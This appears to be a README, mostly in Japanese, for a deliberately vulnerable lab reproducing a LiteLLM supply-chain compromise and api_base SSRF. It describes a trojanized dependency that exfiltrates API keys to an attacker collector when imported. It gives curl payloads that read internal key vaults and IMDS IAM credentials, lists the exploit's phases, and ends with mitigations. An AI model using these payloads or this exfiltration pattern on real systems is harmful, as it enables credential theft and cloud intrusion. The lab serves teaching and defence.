CVE-2026-33634 — LiteLLM サプライチェーン + `api_base` における SSRF (PoC / ラボ)

⚠️ 意図的に脆弱なラボであり、教育および許可された用途向けです。 自分のマシン上で、このリポジトリのコンテナに対してのみ実行してください。開始前に SECURITY-NOTES.md をお読みください。

🚫 このラボをクラウド VM や共有マシン上で絶対に実行しないでください。 このゲートウェイは意図的に無制限の SSRF を持っています。実際の IMDS (169.254.169.254) や loopback/LAN 上の機密サービスが存在する場合、SSRF はそれらに実際に到達します。ポートは 127.0.0.1 にのみ公開されています。そのままにしておいてください。隔離された使い捨てホストを使用してください。

CVSS 9.4 (クリティカル)。 LiteLLM ゲートウェイのサプライチェーン侵害 (2026年3月): ゲートウェイライブラリ内の悪意ある依存関係が、AI プロバイダ認証情報のポートフォリオ全体を露出させました。このレイヤーで繰り返し現れるパターンも同時に現れます: プロキシ内の OpenAI キーと**api_base パラメータにおける SSRF**です。このラボは両方の欠陥を再現し、それらを連鎖させてエクスプロイトにします。

連鎖する2つの欠陥

1) サプライチェーン — トロイの木馬化された依存関係

litellm-telemetry-helper (malicious-dep/ 内) は、侵害された推移的依存関係をシミュレートします。インシデントのストーリーでは、弱いピン (>=0.9.6) によってリゾルバがクリーンな 0.9.6 の代わりに悪意あるバージョン 0.9.7 を取得してしまったとされています。ペイロードは**import 時に発火し (ゲートウェイが依存関係を解決するだけで十分)、バックグラウンドスレッドで 環境全体 (OPENAI_API_KEY、ANTHROPIC_API_KEY、AWS_*、...) を攻撃者のコレクタへ静かに、アプリケーションを壊すことなく**窃取します。

2) `api_base` における SSRF

プロキシ (gateway/app.py) は、呼び出し元から来る api_base (プロバイダの base_url) をallowlist なしで受け入れます。攻撃者はゲートウェイがリクエストを送る先を制御でき、さらにゲートウェイは:

Authorization ヘッダにプロバイダの実際のキーを付与し、
アップストリームのレスポンスボディを返します (任意読み取りの SSRF)。

これにより以下が可能になります: 内部サービス (/admin/keys) への到達、 IMDS (169.254.169.254) 上のクラウド認証情報の窃取、内部ネットワークの ポートスキャン、そして api_base を攻撃者側へ向けることで各プロバイダのキーの漏洩。

ラボのアーキテクチャ

                    HOST (você / atacante)
        exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
              ▲                                               │
              └───────────GET /loot (localhost:8080)──┐       │
                                                      │       ▼
   ┌───────────────────────── rede docker "labnet" ───┼───────────────────┐
   │                                                   │                   │
   │   collector (attacker.lab:8080) ◄─ beacon supply-chain ── gateway     │
   │      • /beacon  (exfil da dep maliciosa)          │     (litellm      │
   │      • /collect (chave vazada via SSRF)           │      :4000)       │
   │      • /oob     (confirmação SSRF cego)           │        │ SSRF     │
   │      • /loot                                      ┘        │ (api_base)│
   │                                                            ▼          │
   │   internal.lab:9000  /admin/keys   (NÃO publicado) ◄───────┤          │
   │   imds.lab:80        /latest/...   (NÃO publicado) ◄───────┤          │
   │   provider-mock.lab:9100  (upstream "normal")      ◄───────┘          │
   └──────────────────────────────────────────────────────────────────────┘

internal.lab と imds.lab には公開ポートがありません — ゲートウェイの SSRF だけがそれらに到達できます。これがこのラボの要点です。

起動と探索の方法

前提条件: Docker + Docker Compose v2、およびエクスプロイト用の httpx を含む Python 3.9+。

cd CVE-2026-33634

# 1) sobe o lab (gateway :4000, coletor :8080)
docker compose up -d --build      # ou: make up

# 2) instala o requisito do exploit
python3 -m pip install -r exploit/requirements.txt

# 3) roda o exploit completo
python3 exploit/exploit.py        # ou: make exploit

個別フェーズの実行:

python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal        # só rouba o cofre interno
python3 exploit/exploit.py --only cloud           # só rouba credenciais de nuvem
python3 exploit/exploit.py --only keyleak         # só vaza chaves dos provedores
python3 exploit/exploit.py --only supplychain     # só verifica o beacon da dep

完全な loot は loot.json に保存されます。攻撃者がデータを受信する様子を確認してください:

docker compose logs -f collector       # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool

SSRF だけを手動で再現する (エクスプロイトなし)

# leitura arbitrária: cofre interno via SSRF
curl -s http://localhost:4000/v1/chat/completions \
  -H 'content-type: application/json' \
  -d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
  | python3 -m json.tool

# credenciais de nuvem via SSRF ao IMDS
curl -s http://localhost:4000/v1/chat/completions \
  -H 'content-type: application/json' \
  -d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'

エクスプロイトの動作 (フェーズ)

ラボの忠実性と簡略化

このラボは教育的な明快さと再現性を優先しています。実際のインシデントを抽象化している箇所は意図的なものであり、その違いを知っておく価値があります:

直接 import 対推移的依存関係。 ゲートウェイは実際の litellm ツリー内に隠された推移的依存関係ではなく、明示的に import litellm_telemetry_helper を行います。効果 (import 時のペイロード) は同一ですが、解決の連鎖は短縮されています。
ローカルインストール対バージョン解決。 弱いピン >=0.9.6 はストーリー です (gateway/requirements.txt 内のコメント行); ラボでは依存関係は Dockerfile 経由で ./malicious-dep からインストールされます — 0.9.6 より 0.9.7 を解決する PyPI インデックスは存在しません。実際の解決を試すには、両バージョンを含むローカルインデックス (pypiserver/devpi) を立ち上げてください。
任意パスの SSRF。 api_base ベクターでは、ラボは明示的なパスがある場合に URL をそのまま使用します (単一のパラメータで /admin/keys と IMDS の読み取りを実演するため)。OpenAI 互換のパスでは、実際の LiteLLM は固定のサフィックス (/chat/completions) を連結して POST します — 制御は通常ホスト側であり (キー漏洩、ホストによる SSRF)、任意パスは passthrough/health ルートに現れます。実演される影響 (ポートフォリオの漏洩 + 内部/クラウドへのピボット) は忠実ですが、URL の正確な構築は簡略化されています。

緩和策 (どのように修正するか)

SSRF (api_base)

許可されるアップストリームのホスト/ドメインの allowlist; それ以外は拒否。
プライベート IP、loopback、およびリンクローカル 169.254.0.0/16 (IMDS) を禁止; DNS を解決し、接続前に IP を検証 (rebinding に注意)。
管理ルートにクライアントの base_url を使用しない; プレーンを分離。
検証されていない宛先にプロバイダの認証情報を絶対に付与しない。
クラウドホストで IMDSv2 (トークン必須) と hop-limit=1 を強制。
Egress ファイアウォール: ゲートウェイは必要なプロバイダとのみ通信。

サプライチェーン

正確なピン + ハッシュ (--require-hashes、lockfile); >= は使わない。
来歴を検証 (Sigstore/attestations)、新しい依存関係を監査。
デフォルトで egress をブロックして実行; import ビーコンは失敗する。
pip install をコード実行として扱う (install hooks); サンドボックス/隔離 CI を使用。
シークレットを長期間有効な環境変数の外に置く: 短命な認証情報とローテーションを備えたシークレットマネージャを使用。

認証情報/シークレット (ベースライン)

シークレットの欠如 = 起動失敗 (デフォルトなし)。呼び出し元に詳細なエンティティ/エラーを返さない。allowlist でログを記録し、トークン/クレームは決して記録しない。

構成

CVE-2026-33634/
├── docker-compose.yml        # orquestra tudo na rede labnet
├── Makefile                  # up / down / logs / exploit
├── gateway/                  # proxy LiteLLM-style VULNERÁVEL (SSRF + import da dep)
├── malicious-dep/            # a dependência trojanizada (payload no import)
├── collector/                # coletor do atacante (/beacon /collect /oob /loot)
├── internal-service/         # /admin/keys interno (só via SSRF)
├── imds/                     # mock do metadata service de nuvem (só via SSRF)
├── provider-mock/            # upstream "normal" (contraste)
├── exploit/exploit.py        # exploit multi-fase (async)
├── SECURITY-NOTES.md         # vulns intencionais, contenção e autorização
└── README.md

`recon`	ゲートウェイのフィンガープリント; モデル/プロバイダを列挙; `api_base` シンクを検出。
`ssrf`	ブラインド (out-of-band) で SSRF を確認: 一意のトークンでコレクタへのコールバックを強制。
`scan`	ゲートウェイ経由で内部ネットワークをポートスキャン (並行)。
`internal`	SSRF → `internal.lab/admin/keys`: 認証情報の保管庫全体を窃取。
`cloud`	SSRF → IMDS: インスタンスロールの一時的な STS 認証情報を窃取。
`keyleak`	`api_base` を攻撃者側へ向ける; ゲートウェイが `Authorization` 内で各プロバイダのキーを漏洩。
`supplychain`	loot を読み取る: トロイの木馬化された依存関係がimport 時にすでに環境を窃取済み。
`report`	影響を統合し `loot.json` を書き込む。

人気

EXPLOIT-CVE-2026-33634

人気